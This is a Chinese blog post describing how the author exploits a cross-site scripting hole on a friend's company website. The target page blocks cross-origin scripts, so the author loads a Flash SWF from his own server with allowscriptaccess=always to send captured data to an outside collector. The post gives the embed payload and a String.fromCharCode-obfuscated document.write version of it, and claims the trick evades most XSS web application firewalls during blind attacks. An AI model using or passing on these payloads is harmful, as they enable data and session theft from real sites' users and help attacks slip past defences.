某朋友公司一个xss的实现

今天基友depy丢给我一个xss,输入点如下

<a href="输入点">xx</a>

很自然而然的,在输入点输入javascript:alert(1)会触发一个弹窗,但是我的朋友无法将信息传输到xss平台,也就是无法利用
http://www.inetsrc.com/test/xsscode.html
我随手丢了一个地址,可是似乎问题没有那么简单。

大概会出现这种情况,我使用jquery引入js,还是使用document.write写入script标签或是eval调用都无法执行js,而可以alert(1)

纠结了好久,后来在调试台发现了一个问题

页面设置阻止了资源的加载,阻止了非同域的资源,这种情况我也是第一次见到,因为这种方法在防御起xss来作用并不大,并且对后期维护比较麻烦。

所以在这种情况下,我们只能把我们整段的js代码放到javascript后面执行。

但是这一种方法很不稳妥,即便代码完整的复制过去,也会有很多小错误等着你去更改,所以为了稳妥,我考虑了使用其他办法。

由于没有编辑swf工具,就使用JPEXS反编译了一下一个poc,将所有代码整合到其中,这样子十分的方便。

<embed src=http://www.inetsrc.com/1.swf allowscriptaccess=always type=application/x-shockwave-flash></embed>

然后把他上传到我的服务器,如上代码用来盲打的效果更棒,如果没记错,这一个方法可以过掉多数xss的waf。

document.write(String.fromCharCode(60,101,109,98,101,100,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,105,110,101,116,115,114,99,46,99,111,109,47,49,46,115,119,102,32,97,108,108,111,119,115,99,114,105,112,116,97,99,99,101,115,115,61,97,108,119,97,121,115,32,116,121,112,101,61,97,112,112,108,105,99,97,116,105,111,110,47,120,45,115,104,111,99,107,119,97,118,101,45,102,108,97,115,104,62));

再用document的方法写入这个标签,当然你也可以使用document.write(‘标签内容’),而我之所以如此是因为这一方法不需要考虑引号的问题。

如此以来我们收到的信息就很正常了,也比较简便快捷。

当然由于第一次遇到这种情况,我后续会更新对这个问题的研究。

发表评论

电子邮件地址不会被公开。 必填项已用*标注